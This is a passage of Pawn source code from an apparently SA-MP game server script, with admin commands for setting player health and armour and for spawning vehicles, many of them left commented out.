							GetPlayerName(playerid, sendername, sizeof(sendername));
							new wepname[512];
							GetWeaponName(goon,wepname,sizeof wepname);
							format(string, 512, "[Admin-Warn]: {FFFFFF}Event-Organizer %s has given a(n) %s to %s with %i ammo.", sendername,wepname,giveplayer,aammo);
							ABroadCast(COLOR_AdminWarn,string,1);
							format(string,512, "%s given  you a(n) %s.", sendername, wepname, aammo);
							SCM(playa,COLOR_SINARANG,string);
						}
					}
				}
			}
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/sync", true) == 0) {

		SyncPlayer(playerid);
		return 1;
		}*/
	//----------------------------------[sethp]------------------------------------------------
		
		
		/*
				if(strcmp(cmd, "/setdrink", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Setdrink <Playerid/PartOfName> <Drink Level>");
					return 1;
				}
				new playa;
				new health;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				health = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 4 || PINFO[playerid][pSponser] != 0)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
						if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						if(health < 0 || health >= 11) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid food level.");
						//if(PINFO[playa][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "Error: You cannot sethealth an admin higher than you.");
							MizaneTeshnegi[playa] = health;
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, 256, "[Admin-Warn]: {FFFFFF}%s has set %s's drink level to %d.", sendername,giveplayer,health);
							ABroadCast(COLOR_AdminWarn,string,1);
							format(string, 256, "[INFO]:{FF0000} %s has set your drink level to %d.", sendername,health);
							SCM(playa,COLOR_SINA2,string);
							TooMargTeshne[playerid] = 0;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		
		*/
		/*
		
		if(strcmp(cmd, "/setfood", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Setfood <Playerid/PartOfName> <Food Level>");
					return 1;
				}
				new playa;
				new health;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				health = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 4 || PINFO[playerid][pSponser] != 0)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
						if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						if(health < 0 || health >= 11) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid food level.");
						//if(health < -1) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid food level.");
						//if(PINFO[playa][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "Error: You cannot sethealth an admin higher than you.");
							MizaneGoshnegi[playa] = health;
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, 256, "[Admin-Warn]: {FFFFFF}%s has set %s's food level to %d.", sendername,giveplayer,health);
							ABroadCast(COLOR_AdminWarn,string,1);
							format(string, 256, "[INFO]:{FF0000} %s has set your food level to %d.", sendername,health);
							SCM(playa,COLOR_SINA2,string);
							TooMargGoshne[playerid] = 0;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		*/
		
		
		
		

		if(strcmp(cmd, "/sethp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Sethp <Playerid/PartOfName> <Health>");
					return 1;
				}
				new playa;
				new health;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				health = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 4)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
						if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						if(health>150||health<0)return Error(playerid, "Error: You can't set players' health to +150 or -0.")
						//if(PINFO[playa][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "Error: You cannot sethealth an admin higher than you.");
							SetPlayerKoon(true, playa, health);
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has set %s's hp to %d.", sendername,giveplayer,health);
							ABroadCast(COLOR_AdminWarn,string,1);
							format(string, 256, "[INFO]:{FF0000} %s has set your hp to %d.", sendername,health);
							SCM(playa,COLOR_SINA2,string);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
/*
		if(strcmp(cmd, "/esethp", true) == 0)
		{
		if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /ESethp <Playerid/PartOfName> <Health>");
					return 1;
				}
				new playa;
				new health;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				health = strval(tmp);
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
					   if(EventPlayer[playa] == 0)
						{
					   SCM(playerid, COLOR_YELLOW2, "Error: You couldn't set this player's health.");
					   return 1;
						}
						//if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						//if(PINFO[playa][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "Error: You cannot sethealth an admin higher than you.");
							SetPlayerKoon(true, playa, health);
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, 256, "[Admin-Warn]: {FFFFFF}Event organizer %s has set %s's hp to %d.", sendername,giveplayer,health);
							ABroadCast(COLOR_AdminWarn,string,1);
							format(string, 256, "[INFO]:{FF0000} Event organizer %s has set your hp to %d.", sendername,health);
							SCM(playa,COLOR_SINA2,string);
						}
					}
				}
			return 1;
		}*/

	if(strcmp(cmd, "/setarmor", true) == 0 || strcmp(cmd, "/setarmour", true) == 0)
	{
	if(PINFO[playerid][pAdmin] < 4 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /Setarmor <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new playa;
		  new health;
		  playa = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  health = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 2)
		  {
			 if(IsPlayerConnected(playa))
			 {
				if(playa != INVALID_PLAYER_ID)
				{
						if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						if(health>100||health<0)return Error(playerid, "Error: You can't set players' armour to +100 or -0.")
					SetPlayerZereh(playa, health);
					GetPlayerName(playa, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has set %s's armour to %d.", sendername,giveplayer,health);
					ABroadCast(COLOR_AdminWarn,string,1);
						format(string, 256, "[INFO]:{FF0000} %s has set your armour to %d.", sendername,health);
					   SCM(playa,COLOR_SINA2,string);
				}
			 }
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
/*
	if(strcmp(cmd, "/esetarmor", true) == 0 || strcmp(cmd, "/esetarmour", true) == 0)
	{
	if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /ESetarmor <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new playa;
		  new health;
		  playa = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  health = strval(tmp);
			 if(IsPlayerConnected(playa))
			 {
				if(playa != INVALID_PLAYER_ID)
				{
					if(EventPlayer[playa] == 0)
					{
					SCM(playerid, COLOR_YELLOW2, "Error: You couldn't set this player's armour.");
					return 1;
					}
						//if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
					SetPlayerZereh(playa, health);
					GetPlayerName(playa, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, 256, "[Admin-Warn]: {FFFFFF}Event organizer %s has set %s's armour to %d.", sendername,giveplayer,health);
					ABroadCast(COLOR_AdminWarn,string,1);
						format(string, 256, "[INFO]:{FF0000} Event organizer %s has set your armour to %d.", sendername,health);
					   SCM(playa,COLOR_SINA2,string);
				}
			 }
		  }
	   return 1;
	}*/

		if(strcmp(cmd, "/veh", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
			if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_GG,"You cannot create a vehicle when you are in a vehicle.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /veh <ModelName/ID> <ColorID1> <ColorID2>");
			new car;
			if(IsNumeric(tmp))
			{
				car = strval(tmp);
				if(car < 400 || car > 615) return SendMessage(playerid, COLOR_GG, "Vehicle Number can't be below 400 or above 611");
			}
			else
			{
				for(new i = 0;i<212;i++)
				{
					if(strfind(aVehicleNames[i], tmp, true) != -1)
					{
						car = i+400;
					}
				}
			}
			if(car == 0) return SCM(playerid, COLOR_SINA3, "Invalid vehicle name.");
			if(1+GetVehiclePoolSize()>MAX_VEHICLES)return SCM(playerid,COLOR_YELLOW2,"Error: Nobody can create vehicle now.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /veh <ModelName/ID> <ColorID1> <ColorID2>");
			new color1;
			color1 = strval(tmp);
			if(color1 < 0 || color1 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /veh <ModelName/ID> <ColorID1> <ColorID2>");
			new color2;
			color2 = strval(tmp);
			if(color2 < 0 || color2 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");
			new Float:X,Float:Y,Float:Z,Float:angle;
			GetPlayerFacingAngle(playerid,angle);
			GetPlayerPos(playerid, X,Y,Z);
			new carid = CreateVehicle(car, X,Y,Z+1, angle, color1, color2, -1);
			new vehicles = GetVehicleModel(carid) - 400;
		  new adm[114];
		  {
		  //format(adm, sizeof(adm), "{FFFFFF}Admin %s spawned a(n) %s(%d), Col1: %d & Col2: %d, ID: %d.", PlayerInfo[playerid][pName], aVehicleNames[vehicles], car, color1, color2, carid);
		  format(adm, sizeof(adm), "{FFFFFF}Vehicle %s with id %d created by %s.", aVehicleNames[vehicles], carid, PlayerInfo[playerid][pName]);
			AdminWarn(adm);
		  }
					new stringh[144];
					format(stringh, 144, "Vehicle {ffffff}%d{ff6347} spawned.",carid);
					SendMessage(playerid, COLOR_LIGHTRED, stringh);
		  if (PlayerInfo[playerid][pAdmin] < 12){ // Founder Veh ;)
			SetVehicleNumberPlate(carid, "{F90000}Admin Veh");
			}else {
			SetVehicleNumberPlate(carid, "{FF0000}Founder Veh");
			}
			CreatedCars[CreatedCar] = carid;
			IsValidAVeh[CreatedCars[CreatedCar]] = true;
			CreatedCar ++;
			//new xn[512];
			//GetPlayerName(playerid, xn, sizeof(xn));
			/*format(string, sizeof(string), "{FFFFFF}Vehicle %d spawned by %s.", carid, xn);
			SendMessage(playerid, COLOR_AdminWarn, string);
			AdminWarn(string); */
			LinkVehicleToInterior(carid, GetPlayerInterior(playerid));
			SetVehicleVirtualWorld(carid, GetPlayerVirtualWorld(playerid));
			PutPlayerInVehicle(playerid, carid, 0);
			VehOwned[carid] = 2;
			VehOwner[carid] = playerid;
			return 1;
		}
		/*
		if(strcmp(cmd, "/eveh", true) == 0 || strcmp(cmd, "/evehicle", true) == 0)
		{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_GG,"You cannot create a vehicle when you are in a vehicle.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /eveh <ModelName/ID> <ColorID1> <ColorID2>");
			new car;
			if(IsNumeric(tmp))
			{
				car = strval(tmp);
				if(car < 400 || car > 615) return SendMessage(playerid, COLOR_GG, "Vehicle Number can't be below 400 or above 611");
			}
			else
			{
				for(new i = 0;i<212;i++)
				{
					if(strfind(aVehicleNames[i], tmp, true) != -1)
					{
						car = i+400;
					}
				}
			}
			if(car == 0) return SCM(playerid, COLOR_SINA3, "Invalid vehicle name.");
			if(1+GetVehiclePoolSize()>MAX_VEHICLES)return SCM(playerid,COLOR_YELLOW2,"Error: Nobody can create vehicle now.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /eveh <ModelName/ID> <ColorID1> <ColorID2>");
			new color1;
			color1 = strval(tmp);
			if(color1 < 0 || color1 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /eveh <ModelName/ID> <ColorID1> <ColorID2>");
			new color2;
			color2 = strval(tmp);
			if(color2 < 0 || color2 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");
			new Float:X,Float:Y,Float:Z,Float:angle;
			GetPlayerFacingAngle(playerid,angle);
			GetPlayerPos(playerid, X,Y,Z);
			new carid = CreateVehicle(car, X,Y,Z+1, angle, color1, color2, -1);
			SetVehicleNumberPlate(carid, "{F90000}Event Veh");
			EventCars[EventCar] = carid;
			//IsValidAVeh[CreatedCars[CreatedCar]] = true;
			EventCar ++;
			new xn[512];
			GetPlayerName(playerid, xn, sizeof(xn));
			format(string, sizeof(string), "{FFFFFF}Event-Organizer vehicle %d spawned by %s.", carid, xn);
			//SendMessage(playerid, COLOR_AdminWarn, string);
			AdminWarn(string);
			LinkVehicleToInterior(carid, GetPlayerInterior(playerid));
			SetVehicleVirtualWorld(carid, GetPlayerVirtualWorld(playerid));
			PutPlayerInVehicle(playerid, carid, 0);
			VehOwned[carid] = 2;
			VehOwner[carid] = playerid;
			return 1;
		}*/
		/*
		if(strcmp(cmd, "/ownerveh", true) == 0 || strcmp(cmd, "/ov", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] <= 12) return SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
			if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_GG,"You cannot create a vehicle when you are in a vehicle.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /ownerveh <ModelName/ID> <ColorID1> <ColorID2>");
			new car;
			if(IsNumeric(tmp))
			{
				car = strval(tmp);
				if(car < 400 || car > 615) return SendMessage(playerid, COLOR_GG, "Vehicle Number can't be below 400 or above 611");
			}
			else
			{
				for(new i = 0;i<212;i++)
				{
					if(strfind(aVehicleNames[i], tmp, true) != -1)
					{
						car = i+400;
					}
				}
			}
			if(car == 0) return SCM(playerid, COLOR_SINA3, "Invalid vehicle name.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /ownerveh <ModelName/ID> <ColorID1> <ColorID2>");
			new color1;
			color1 = strval(tmp);
			if(color1 < 0 || color1 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /ownerveh <ModelName/ID> <ColorID1> <ColorID2>");
			new color2;
			color2 = strval(tmp);
			if(color2 < 0 || color2 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");
			new Float:X,Float:Y,Float:Z,Float:angle;
			GetPlayerFacingAngle(playerid,angle);
			GetPlayerPos(playerid, X,Y,Z);
			new carid = CreateVehicle(car, X,Y,Z+1, angle, color1, color2, -1);
			SetVehicleNumberPlate(carid, "{FF0000}Owner Veh");
			CreatedCars[CreatedCar] = carid;
			IsValidAVeh[CreatedCars[CreatedCar]] = true;
			CreatedCar ++;
			new xn[512];
			GetPlayerName(playerid, xn, sizeof(xn));
			format(string, sizeof(string), "{FFFFFF}Vehicle %d spawned by Owner %s.", carid, xn);
			SendMessage(playerid, COLOR_AdminWarn, string);
			AdminWarn(string);
			LinkVehicleToInterior(carid, GetPlayerInterior(playerid));
			SetVehicleVirtualWorld(carid, GetPlayerVirtualWorld(playerid));
			PutPlayerInVehicle(playerid, carid, 0);
			VehOwned[carid] = 2;
			VehOwner[carid] = playerid;
			return 1;
		}
		*/
/*
		if(strcmp(cmd, "/vehe", true) == 0 || strcmp(cmd, "/vehw", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
			if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_GG,"You cannot create a vehicle when you are in a vehicle.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) {
			SendMessage(playerid, COL_SYN, "Syntax: /vehe <ModelName/ID> <ColorID1> <ColorID2> <Point> <Count>");
			SCM(playerid,COLOR_GG,"Stand toward West or East.");
			return 1;
			}

			new car;
			if(IsNumeric(tmp))
			{
				car = strval(tmp);
				if(car < 400 || car > 611) return SendMessage(playerid, COLOR_GG, "Vehicle Number can't be below 400 or above 611");
			}
			else
			{
				for(new i = 0;i<212;i++)
				{
					if(strfind(aVehicleNames[i], tmp, true) != -1)
					{
						car = i+400;
					}
				}
			}
			if(car == 0) return SCM(playerid, COLOR_SINA3, "Invalid vehicle name.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehe <ModelName/ID> <ColorID1> <ColorID2> <Point> <Count>");
			new color1;
			color1 = strval(tmp);
			if(color1 < 0 || color1 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehe <ModelName/ID> <ColorID1> <ColorID2> <Point> <Count>");
			new color2;
			color2 = strval(tmp);
			if(color2 < 0 || color2 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");

			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehe <ModelName/ID> <ColorID1> <ColorID2> <Point> <Count>");
			new dis;
			dis = strval(tmp);
			if(dis < 2) return SendMessage(playerid, COLOR_GG, "Distance point can't be below 2");

			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehe <ModelName/ID> <ColorID1> <ColorID2> <Point> <Count>");
			new count;
			count = strval(tmp);
			new c = count%2;
			if(c != 0 || count == 0) return SendMessage(playerid, COLOR_GG, "Count must be an even.");


			new Float:X,Float:Y,Float:Z,Float:angle;
			GetPlayerFacingAngle(playerid,angle);
			GetPlayerPos(playerid, X,Y,Z);
			new carid,disx,carid2;
			for(new i=1;i<(count/2)+1;i++) {
			disx = i*dis;

			carid = CreateVehicle(car, X,Y+disx,Z+1, angle, color1, color2, -1);
			carid2 = CreateVehicle(car, X,Y-disx,Z+1, angle, color1, color2, -1);

			SetVehicleNumberPlate(carid, "{F90000}Admin Veh");
			SetVehicleNumberPlate(carid2, "{F90000}Admin Veh");


			CreatedCars[CreatedCar] = carid;
			CreatedCar ++;


			CreatedCars[CreatedCar] = carid2;
			CreatedCar ++;


			IsValidAVeh[carid2] = true;
			IsValidAVeh[carid] = true;

			VehOwned[carid] = 2;
			VehOwner[carid] = playerid;
			VehOwned[carid2] = 2;
			VehOwner[carid2] = playerid;

			LinkVehicleToInterior(carid, GetPlayerInterior(playerid));
			SetVehicleVirtualWorld(carid, GetPlayerVirtualWorld(playerid));

			LinkVehicleToInterior(carid2, GetPlayerInterior(playerid));
			SetVehicleVirtualWorld(carid2, GetPlayerVirtualWorld(playerid));
			}
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s used Multi-Veh [East/West].", PINFO[playerid][pName]);
		  AdminWarn(sttrr);
			return 1;
		}*/

		
		
		
		
		
		
		/*
		if(!strcmp(cmd,"/vehex",true))
{
	new Float:X,Float:Y,Float:Z,Float:R,str[128];
	if(PlayerInfo[playerid][pAdmin]>=5)
	{
		if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You cannot create a vehicle when you are in a vehicle.");
		//if(sscanf(cmdtext,"s[6]s[32]iiii",cmd,vname,color1,color2,inleft,inright))return SCM(playerid,COL_SYN,"Syntax: /vehex <ModelName/ID> <Color1> <Color2> <Amount In Left> <Amount In Right>");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) {
		SendMessage(playerid, COL_SYN, "Syntax: /vehex <ModelName/ID> <Color1> <Color2> <Amount In Left> <Amount In Right>");
		return 1;
		}
		*/
		/*
		if(!IsNumeric(vname))
		{
			for(new i = 0;i<212;i++)
		  {
			 if(strfind(aVehicleNames[i], vname, true) != -1)
			 {
				id = i+400;
				break;
			 }
		  }
			if(id==0)return SCM(playerid,COLOR_YELLOW2,"Error: VehicleName/ID is invalid.");
		}
		else
		{
			id=strval(vname);
			if(id<400||id>611)return SCM(playerid,COLOR_YELLOW2,"Error: Use a model id between 400 to 611.");
		}
		*/
		/*
			new car;
			if(IsNumeric(tmp))
			{
				car = strval(tmp);
				if(car < 400 || car > 611) return SendMessage(playerid, COLOR_YELLOW2, "Error: Vehicle id can't be below 400 or above 611");
			}
			else
			{
				for(new i = 0;i<212;i++)
				{
					if(strfind(aVehicleNames[i], tmp, true) != -1)
					{
						car = i+400;
					}
				}
			}
		if(car == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid ModelID/ID.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehex <ModelName/ID> <Color1> <Color2> <Amount In Left> <Amount In Right>");
		new color1;
		color1 = strval(tmp);
		if(color1 > 255 || color1 < 0) return SCM(playerid,COLOR_YELLOW2,"Error: Color 1 Cannot go below 0 or above 255.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehex <ModelName/ID> <Color1> <Color2> <Amount In Left> <Amount In Right>");
		new color2;
		color2 = strval(tmp);
		if(color2 > 255 || color2 < 0) return SCM(playerid,COLOR_YELLOW2,"Error: Color 2 Cannot go below 0 or above 255.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehex <ModelName/ID> <Color1> <Color2> <Amount In Left> <Amount In Right>");
		new inleft;
		inleft = strval(tmp);
		if(inleft<0)return SCM(playerid,COLOR_YELLOW2,"Error: Amount In Left cannot be less than 0.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehex <ModelName/ID> <Color1> <Color2> <Amount In Left> <Amount In Right>");
		new inright;
		inright = strval(tmp);
		if(inright<0)return SCM(playerid,COLOR_YELLOW2,"Error: Amount In Right cannot be less than 0.");
		GetPlayerPos(playerid,X,Y,Z);
		GetPlayerFacingAngle(playerid,R);
		new Float:disx=1.0,carid,carid2,Float:tmpx,Float:tmpy;
		for(new i=0;i<inright;i++)
		{
			GetXYInRightOfPlayer(playerid,tmpx,tmpy,disx);
			disx+=3.0;
			carid = CreateVehicle(car,tmpx,tmpy,Z+1,R,color1,color2);
			CreatedCars[CreatedCar] = carid;
			IsValidAVeh[carid] = true;
			CreatedCars[CreatedCar] = carid;
			CreatedCar ++;
			VehOwned[carid] = 2;
			VehOwner[carid] = playerid;
			if(PINFO[playerid][pAdmin] < 12)
			{
			SetVehicleNumberPlate(carid, "{F90000}Admin Veh");
			}
			if(PINFO[playerid][pAdmin] >= 12)
			{
			SetVehicleNumberPlate(carid, "{FF0000}Founder Veh");
			}
			LinkVehicleToInterior(carid, GetPlayerInterior(playerid));
		   SetVehicleVirtualWorld(carid, GetPlayerVirtualWorld(playerid));
		}
		disx=1.0;
		for(new i=0;i<inleft;i++)
		{
			GetXYInLeftOfPlayer(playerid,tmpx,tmpy,disx);
			disx+=3.0;
			carid2 = CreateVehicle(car,tmpx,tmpy,Z+1,R,color1,color2);
			CreatedCars[CreatedCar] = carid2;
			IsValidAVeh[carid2] = true;
			CreatedCars[CreatedCar] = carid2;
			CreatedCar ++;
			VehOwned[carid2] = 2;
			VehOwner[carid2] = playerid;
			if(PINFO[playerid][pAdmin] < 12)
			{
			SetVehicleNumberPlate(carid2, "{F90000}Admin Veh");
			}
			if(PINFO[playerid][pAdmin] >= 12)
			{
			SetVehicleNumberPlate(carid2, "{FF0000}Founder Veh");
			}
			LinkVehicleToInterior(carid2, GetPlayerInterior(playerid));
		   SetVehicleVirtualWorld(carid2, GetPlayerVirtualWorld(playerid));
		}
	   format(str,sizeof(str),"[Admin-Warn]: {FFFFFF}Vehicle %s created by %s [Car-Create-Loop-#%i~#%i].",aVehicleNames[car-400],PlayerInfo[playerid][pName],inleft,inright);
	   SendAdminMessage(COLOR_AdminWarn,str);
	}
	else return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
	return 1;
}
	*/
		
		
		
		
		
		
/*
		if(strcmp(cmd, "/vehn", true) == 0 || strcmp(cmd, "/vehs", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
			if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_GG,"You cannot create a vehicle when you are in a vehicle.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) {
			SendMessage(playerid, COL_SYN, "Syntax: /vehn <ModelName/ID> <ColorID1> <ColorID2> <Point> <Count>");
			SCM(playerid,COLOR_GG,"Stand toward North (N on map) or South (Back of N on map).");
			return 1;
			}

			new car;
			if(IsNumeric(tmp))
			{
				car = strval(tmp);
				if(car < 400 || car > 611) return SendMessage(playerid, COLOR_GG, "Vehicle Number can't be below 400 or above 611");
			}
			else
			{
				for(new i = 0;i<212;i++)
				{
					if(strfind(aVehicleNames[i], tmp, true) != -1)
					{
						car = i+400;
					}
				}
			}
			if(car == 0) return SCM(playerid, COLOR_SINA3, "Invalid vehicle name.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehn <ModelName/ID> <ColorID1> <ColorID2> <Point> <Count>");
			new color1;
			color1 = strval(tmp);
			if(color1 < 0 || color1 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehn <ModelName/ID> <ColorID1> <ColorID2> <Point> <Count>");
			new color2;
			color2 = strval(tmp);
			if(color2 < 0 || color2 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");

			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehn <ModelName/ID> <ColorID1> <ColorID2> <Point> <Count>");
			new dis;
			dis = strval(tmp);
			if(dis < 2) return SendMessage(playerid, COLOR_GG, "Distance point can't be below 2");

			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vehn <ModelName/ID> <ColorID1> <ColorID2> <Point> <Count>");
			new count;
			count = strval(tmp);
			new c = count%2;
			if(c != 0 || count == 0) return SendMessage(playerid, COLOR_GG, "Count must be an even.");


			new Float:X,Float:Y,Float:Z,Float:angle;
